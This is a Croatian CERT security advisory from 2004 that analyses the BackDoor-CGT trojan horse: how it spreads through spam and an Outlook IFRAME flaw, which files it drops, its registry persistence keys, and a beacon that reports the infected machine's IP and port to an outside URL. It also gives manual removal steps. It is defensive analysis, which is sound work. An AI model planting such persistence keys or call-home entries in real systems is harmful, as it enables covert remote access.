HRVATSKA AKADEMSKA I ISTRAŽIVAČKA MREŽA
CROATIAN ACADEMIC AND RESEARCH NETWORK

Analiza BackDoor-CGT trojanskog konja

CCERT-PUBDOC-2004-08-84

CARNet CERT u suradnji s LS&S

Sigurnosni problemi u računalnim programima i operativnim sustavima područje je na kojem CARNet CERT kontinuirano radi.

Rezultat toga rada ovaj je dokument, koji je nastao suradnjom CARNet CERT-a i LS&S-a, a za koji se nadamo se da će Vam koristiti u poboljšanju sigurnosti Vašeg sustava.

CARNet CERT, www.cert.hr - nacionalno središte za **sigurnost računalnih mreža** i sustava.

LS&S, www.lss.hr - laboratorij za sustave i signale pri Zavodu za elektroničke sustave i obradbu informacija Fakulteta elektrotehnike i računarstva Sveučilišta u Zagrebu.

Sadržaj

1. Uvod

Tijekom srpnja (13. srpnja 2004.) pojavio se trojanski konj (eng. *Trojan horse*) pod imenom *BackDoor.CGT*. Ova inačica trojanskog konja, koji ujedno sadrži i *backdoor* komponentu, poznata je još pod imenima Troj_Genme.A, Trojan.Win32.Genme.a, Trj/Xebiz.A, TR/SPY.100ss.A.1, a napada Windows operacijske sustave svih inačica. Širi se putem Interneta, preko spam poruka elektroničke pošte, zbog čega je u vrlo kratkom vremenu inficirao izuzetno velik broj računala. Tvrtka *MessageLabs*, specijalizirana za filtriranje poruka elektroničke pošte, primila je u periodu od dva sata, oko 3600 poruka koje upućuju na referentnu adresu s *BackDoor-CGT* trojanskim konjem. Za svoje širenje program iskorištava sigurnosne propuste unutar Microsoft Outlook programskog paketa, pri čemu se zlonamjernom napadaču omogućuje neautoriziran pristup inficiranom sustavu.
U dokumentu su opisane osnovne karakteristike i razlike između *backdoor* i *trojan horse* malicioznih programa, analizirane su karakteristike i način širenja Backdoor-CGT programa kao i sigurnosni propust kojeg isti iskorištava.

2. Općenite definicije

Radi česte pogreške prilikom razlikovanja pojmova *backdoor* programa i trojanskog konja, u prvom dijelu dokumenta opisane su općenite definicije i osnovne razlike između navedenih tipova malicioznih programa. Također, obzirom da trojanski konj iskorištava sigurnosne propuste unutar Microsoft Outlook programskog paketa, ukratko je opisana i ta ranjivost.

2.1. *Backdoor* program

Backdoor program je tip malicioznog programa koji neovlaštenom korisniku omogućuje udaljeni pristup sustavu. Obično je to samostalan program čije funkcionalnosti omogućuju zaobilaženje sigurnosnih kontrola te pristup sustavu korištenjem alternativnih, nelegitimnih kanala. Nakon instalacije program se prikriva na sustavu te aktivno osluškuje zahtjeve klijenta kako bi im se omogućio pristup sustavu.
Ovisno o tipu i namjeni *backdoor* programa, pristup sustavu moguće je ostvariti ili lokalno korištenjem odgovarajućih specijalno prilagođenih programa, ili udaljeno putem računalne mreže povezivanjem na odgovarajući mrežni port kompromitiranog računala. Bez obzira o kojem se konceptu radi, *backdoor* program svojim funkcionalnostima neovlaštenom korisniku omogućuje preuzimanje potpune kontrole te upravljanje nad ciljnim sustavom.
Kao što se može vidjeti *backdoor* programi najčešće se sastoje od dva dijela: klijentskog i poslužiteljskog. Poslužiteljski dio *backdoor* programa obično je instaliran na računalu kojemu se želi ostvariti pristup, dok se klijentska aplikacija koristi za povezivanje s poslužiteljskim dijelom. Klijentski dio vrlo često posjeduje i prilagođeno grafičko korisničko sučelje (eng. *graphical user interface*) koje korisnicima omogućuje lakšu komunikaciju i upravljanje poslužiteljskim dijelom programa.
Također treba napomenuti da većina ovakvih programa podržava mogućnost konfiguracije što napadaču omogućuje prilagođavanje programa specifičnostima okruženja u kojem se koristi, a neki dodatno uključuju i specijalne alate za skeniranje koji lociraju ciljne sustave na kojima je instaliran poslužiteljski dio *backdoor* programa.
Postoje različite tehnike kojima neovlašteni korisnici nastoje postaviti *backdoor* programe na ciljne sustave. Jedan od tipičnih primjera je postavljanje *backdoor* programa nakon što je neovlašteni korisnik ostvario pristup sustavu iskorištavanjem odgovarajućeg sigurnosnog propusta. Na taj način osigurava se pristup sustavu nakon što je izvorni sigurnosni propust uklonjen. *Backdoor* programe također je moguće postaviti putem različitih malicioznih programa kao što su crvi, virusi i sl., koji nakon infekcije sustava instaliraju određene maliciozne komponente koje će napadaču omogućiti pristup sustavu. Sljedeći, možda i najjednostavniji način za instalaciju *backdoor* programa je svakako korištenje tehnika kojima se korisnika pokušava zavarati i navesti na instalaciju malicioznog programa na svoje računalo. Korištenjem sustava elektroničke pošte, *file sharing* i *instant messaging* protokola korisniku je moguće proslijediti zlonamjeran program zapakiran unutar naizgled legitimnog programa te ga na taj način navesti na njegovu instalaciju.

Nakon instalacije *backdoor* programa potrebno je osigurati i metode kojima će se osigurati njegovo ponovno pokretanje kod svakog novog podizanja sustava (engl. *reboot*). Načini na koje je to moguće postići ovise prvenstveno o tipu operacijskog sustava na kojem je program postavljen. Kod Windows operacijskih sustava najčešće se u tu svrhu koriste standardne lokacije kojima se definiraju programi za automatsko pokretanje prilikom podizanja sustava (*Autostart* mape, `win.ini`, `system.ini`, `autoexec.bat` datoteke i sl.) te *registry* u kojem je potrebno definirati željene zapise na odgovarajuća mjesta. Kod Linux operacijskih sustava u tu se svrhu koriste modifikacije unutar inittab datoteke, cron poslužitelj te brojne druge tehnike. Više informacija o *backdoor* programima na Linux operacijskim sustavima moguće je pročitati u dokumentu pod nazivom "*Stražnji ulazi na Linux operacijskim sustavima*", CCERT-PUBDOC-2004-03-65.

2.2. Trojanski konj

Trojanski konj je samostalan program koji je naizgled bezopasan pa čak i koristan program, no koji zapravo izvodi destruktivne ili neovlaštene aktivnosti na ciljnom sustavu na kojem je aktiviran. Mogućnosti aktivacije trojanskih konja su direktna aktivacija (eng. *direct action trojan*), aktivacija nakon određenog vremenskog perioda (eng. *time bomb*) i aktivacija nakon zadovoljenja određenih uvjeta (eng. *condition-triggered trojan*). Destruktivne akcije odnose se na brisanje ili modificiranje datoteka ili sektora na diskovima, uništenje svih podataka ili diskova, uništenje *Flash Bios-a*, onemogućavanje rada s tipkovnicom ili mišem, onemogućavanje ispravnog rada operacijskog sustava, itd.

2.3. Trojanski konj *backdoor* program

Nakon opisa glavnih karakteristika *backdoor* programa i trojanskih konja, potrebno je naglasiti da je osnovna razlika u tome što *backdoor* programi omogućuju pristup udaljenom računalu, dok su trojanski konji maliciozne aplikacije koje se maskiraju kao legitimni programi.
No, također postoje i trojanski konji koji su ujedno i *backdoor* programi (eng. *Trojan horse backdoors*) koji omogućuju pristup udaljenom sustavu pri čemu se pretvaraju da su bezopasni ili legitimni programi. Maliciozni programi koji kombiniraju karakteristike i mogućnosti više tipova malicioznih programa danas su vrlo česti (engl. *combo malware*) i posebno opasni s obzirom da podržavaju različite mogućnosti širenja i provođenja malicioznih aktivnosti.

2.4. *IFRAME* sigurnosni propust

U Microsoft Outlook programskom paketu, inačica 2002, uočen je sigurnosni propust koji omogućuje automatsko dohvaćanje potencijalno opasnih datoteka koje su poslane unutar HTML poruka elektroničke pošte. Upozorenje se odnosi na poruke elektroničke pošte koje sadrže `IFRAME HTML` oznake uključene unutar poruke. Ukoliko korisnik pročita takvu poruku, Microsoft Outlook program će automatski dohvatiti izvršnu datoteku s referentne adrese navedene u poruci. Prilikom dohvaćanja izvršne datoteke, korisniku će biti prikazan dijaloški okvir s pitanjem da li navedenu datoteku želi otvoriti, spremiti ili otkazati dohvaćanje, ali neće biti sigurnosnog upozorenja da je izvršna datoteka potencijalno opasna. Predefinirana akcija ovog dijaloškog okvira je otvaranje datoteke (eng. *Open*).
Korisnicima Microsoft Outlook programskog paketa preporučuje se instaliranje sigurnosne zakrpe koja će otkloniti navedenu ranjivost te onemogućiti inficiranje *BackDoor-CGT* trojanskim konjem.

3. BackDoor-CGT trojanski konj

BackDoor-CGT je trojanski konj (eng. *memory resident*) koji može biti dohvaćen od strane nekog drugog malicioznog koda (eng. *malware*) ili može biti direktno dohvaćen s određene *Web* stranice koju je korisnik posjetio. Kada se dohvati, trojanski konj na lokalnom računalu instalira nekoliko datoteka. Osim toga, trojanski konj pretražuje IP adrese sustava, te generira i otvara slučajno odabrane portove na kojima osluškuje zahtjeve. Pokušava pristupiti određenim Web stranicama pri čemu javlja IP adresu i port koji je otvoren čime se inficirani sustav čini ranjivim na vanjske napade. Ovaj trojanski konj napada operacijske sustave Windows 9x, ME, NT, 2000, XP i Server 2003.

3.1. Aktivacija

BackDoor-CGT trojanski konj širi se sustavom elektroničke pošte iskorištavajući pritom sigurnosne propuste unutar Microsoft Outlook programskog paketa. Postupak instalacije malicioznog *trojan horse* programa sastoji se od nekoliko uzastopnih faza (tzv. *multistage napad*), a prva od njih je prosljeđivanje odgovarajuće maliciozne e-mail poruke na adresu korisnika. Sljedeće faze uslijediti će nakon što korisnik pritisne na maliciozni *link* unutar same poruke, čime će se inicirati postupak dohvaćanja i instalacije *Backdoor-CGT* trojanskog konja. Malicioznu poruku elektroničke pošte moguće je prepoznati prema karakterističnim vrijednostima *Subject* polja:

```
Amateur swingers
Are you lonely?
Are you looking for companionship?
Are you looking for love?
Are you looking for romance?
Become a friend
Become a intruder
Can me make me beg for your love?
Can you let me be with you?
Can you let me in your dreams?
```

Kao što je već ranije spomenuto, *BackDoor-CGT* trojanski konj iskorištava sigurnosni propust unutar Microsoft Outlook programskog paketa pod imenom "`IFRAME`", koji omogućuje prikrivanje postupka preusmjeravanja Web stranica te pritajeno dohvaćanje i instalaciju malicioznog trojanskog konja. Klikom na navedeni link dohvaća se datoteka `Links.HTA` koja zatim dohvaća i izvršava `ss.exe` datoteku trojanskog konja. Nakon izvršavanja, instaliraju se slijedeće datoteke u Windows sistemsku mapu:

```
dss.dll
dssa.dll
ss.dat
ss.exe
```

`Dss.dll` datoteka je `dll` (eng. *Dynamic Link Library*) datoteka koja propušta uhvaćene informacije (eng. *hook information*) u slijedeću uhvaćenu proceduru (eng. *hook procedure*) u trenutno uhvaćenom lancu (eng. *hook chain*). Ova datoteka aktivira trojanskog konja, a veličine je 3,072 okteta. `Dssa.dll` je `dll` datoteka koja trojanskog konja vraća u početno stanje iz zaštitne kopije, a veličine je 3,072 okteta. `Ss.dat` je zaštitna kopija (eng. *backup file*) trojanskog konja veličine 15,360 okteta. Ova je datoteka replika izvršne datoteke trojanskog konja. Trojanski konj javlja *IP* adresu i port koji je otvoren pa na taj način inficirani sustav čini ranjivim na vanjske napade. Prilikom izvršavanja, trojanski konj kreira sljedeći zapis u *registry* datoteci:

```
HKEY_CURRENT_USER\Software\Microsoft\Internet Connection Wizard
ShellNext = "http://genmexe.biz/list/index.php?Client=%IP
Address%&Name=%Port%"
```

pri čemu `%IP Address%` predstavlja IP adresu zaraženog računala, a `%Port%` ukazuje na otvorene portove na sustavu koje je otvorio sam trojanski konj. Također u *registry* datoteci kreira se zapis slijedećeg oblika:

```
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\ShellServiceObjectDelayLoad
Ss = ":<CLSID of DSSA.DLL>"
```

koji omogućuje da se, prilikom svakog pokretanja datoteke `explorer.exe`, pokrene i datoteka `dssa.dll`. Datoteka `dssa.dll` pokreće samu sebe u memoriji i koristi *mutex* (eng. ***mut**ual **ex**clusion object*) program pod imenom `one` kako bi indicirala svoju prisutnost unutar sustava. Također, trojanski konj provjerava lokaciju Internet domene `genmexe.biz`, ukoliko je to moguće. U slučaju da navedena mogućnost postoji, spaja se na referentnu adresu `http://genmexe.biz/list/index.php?Client=%IP Address%&Name=%Port%`. Ova

rutina omogućuje da se navedena referentna *web* adresa izvijesti o *IP* adresi i otvorenim portovima na inficiranom sustavu. Navedena *web* stranica korištena za širenje trojanskog konja registrirana je u Češkoj Republici.

3.2. Web stranica domaćina

Mike Barushok, iz tvrtke KeyCreations, prikupio je slijedeće informacije o Web stranici koja je domaćin (eng. *host*) izvršnoj datoteci ovog trojanskog konja [2]:

```
genmexe.biz.            NS      ns1.machinenamez.biz.
genmexe.biz.            NS      ns2.machinenamez.biz.
genmexe.biz.            A       219.129.216.227
*.genmexe.biz.          A       219.129.216.227
ns1.genmexe.biz.        A       219.129.216.227
ns2.genmexe.biz.        A       219.129.216.235
www.genmexe.biz.        A       219.129.216.227

-And-

inetnum:      219.128.0.0 - 219.137.255.255
netname:      CHINANET-GD
descr:        CHINANET Guangdong province network
descr:        Data Communication Division
descr:        China Telecom
country:      CN
admin-c:      CH93-AP
tech-c:       WM12-AP
mnt-by:       MAINT-CHINANET
mnt-lower:    MAINT-CHINANET-GD
changed:      hostmaster ns chinanet cn net 20020424
status:       ALLOCATED PORTABLE
source:       APNIC

person:       Chinanet Hostmaster
address:      No.31 ,jingrong street,beijing
address:      100032
country:      CN
phone:        +86-10-66027112
fax-no:       +86-10-58501144
e-mail:       hostmaster ns chinanet cn net
e-mail:       anti-spam ns chinanet cn net
nic-hdl:      CH93-AP
mnt-by:       MAINT-CHINANET
changed:      hostmaster ns chinanet cn net 20021016
remarks:      hostmaster is not for spam complaint,please send
spam complaint to anti-
spam ns chinanet cn net
source:       APNIC

person:       WU MIAN
address:      NO.1,RO.DONGYUANHENG,YUEXIUNAN,GUANGZHOU
country:      CN
phone:        +086-20-83877223
fax-no:       +86-20-83877223
e-mail:       ipadm gddc com cn
nic-hdl:      WM12-AP
mnt-by:       MAINT-CHINANET-GD
changed:      ipadm gddc com cn 20010820
```

```
source:         APNIC
```

3.3. Detekcija i uklanjanje

Trojanski konji općenito inficiraju računalo, ali ne i datoteke sustava što omogućuje njihovu jednostavnu detekciju i uklanjanje s računala. Oni vrlo često kreiraju zapise u *registry* datoteci kako bi omogućili svoje izvršenje prilikom svakog pokretanja sustava.
Prije samog postupka detekcije te ručnog uklanjanja trojanskog konja, korisnicima Windows ME i XP operacijskog sustava preporučuje se privremeno onemogućavanje *System Restore* opcije. Za uspješnu detekciju trojanskog konja potrebno je koristiti antivirusni program koji ima ažuriranu bazu virusa.
Pokretanjem antivirusnog programa izvodi se postupak traženja malicioznih datoteka na računalu. Kada je takva detektirana, potrebno ju je zaustaviti na slijedeći način:

1. Otvoriti `Windows Task Manager` dijaloški okvir. Na računalima s Windows 9x i ME operacijskim sustavima potrebno je pritisnuti kombinaciju tipki `CTRL+ALT+DELETE`, a kod Windows 2000 i XP operacijskih sustava treba pritisnuti kombinaciju tipki `CRTL+SHIFT+ESC`.
2. U dijaloškom okviru otvoriti karticu `Processes`.
3. U popisu aktivnih programa pronaći detektiranu datoteku (`ss.exe`), označiti ju klikom miša, a zatim kliknuti dugme `End Process`.
4. Zatvoriti dijaloški okvir.

Nakon zaustavljanja pokrenute datoteke trojanskog konja omogućeno je njegovo ručno uklanjanje sa inficiranog računala. Postupak uklanjanja sastoji se od slijedećih koraka:

1. Otvoriti *Registry editor* (`Start – Run –` upisati naredbu *regedit*).
2. U lijevom okviru otvorenog prozora otvoriti `HKEY_CURRENT_USER>Software>Microsoft>Internet Connection Wizard`.
3. U desnom okviru detektirati i obrisati slijedeće vrijednosti: `ShellNext` i `Completed`.
4. U lijevom okviru otvorenog prozora otvoriti `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad`.
5. U desnom okviru detektirati slijedeću vrijednost: `ss`.
6. Zapisati `CLSID` vrijednost koja je unutar vrijednosti `ss`.
7. Obrisati `ss` vrijednost.
8. U lijevom okviru otvorenog prozora locirati i obrisati zapis `HKEY_CLASSES_ROOT>CLSID>%CLSID%` gdje `%CLSID%` predstavlja prethodno lociranu vrijednost.
9. Zatvoriti *Registry editor*.

Automatsko uklanjanje ovog trojanskog konja nije omogućeno jer nije kreiran niti jedan alat koji bi izvodio taj postupak.

4. Zaključak

BackDoor-CGT trojanski konj je program koji zlonamjernom napadaču omogućuje pristup te preuzimanje kontrole nad ciljnim sustavom. Iako je ovaj trojanski konj definiran kao nisko rizičan, korisnicima se preporučuje da, ukoliko dobiju spam poruku elektroničke pošte, ne otvaraju navedene linkove koji mogu aktivirati navedenu datoteku te na taj način inficirati računalo trojanskim konjem. Također, preporučljivo je instalirati sigurnosne zakrpe za *Microsoft Outlook* programski paket te blokirati pristup `.exe` datotekama.

5. Reference

[1] F-secure
http://www.f-secure.com/v-descs/backdoor.shtml
http://www.f-secure.com/v-descs/trojan.shtml

[2] Security in focus
http://www.securityfocus.com/archive/75/369059/2004-07-15/2004-07-21/0
[3] Sophos
http://www.sophos.com/virusinfo/analyses/trojxebixa.html
[4] Symantec
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.xebiz.html
[5] Trendmicro
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ_GENME.A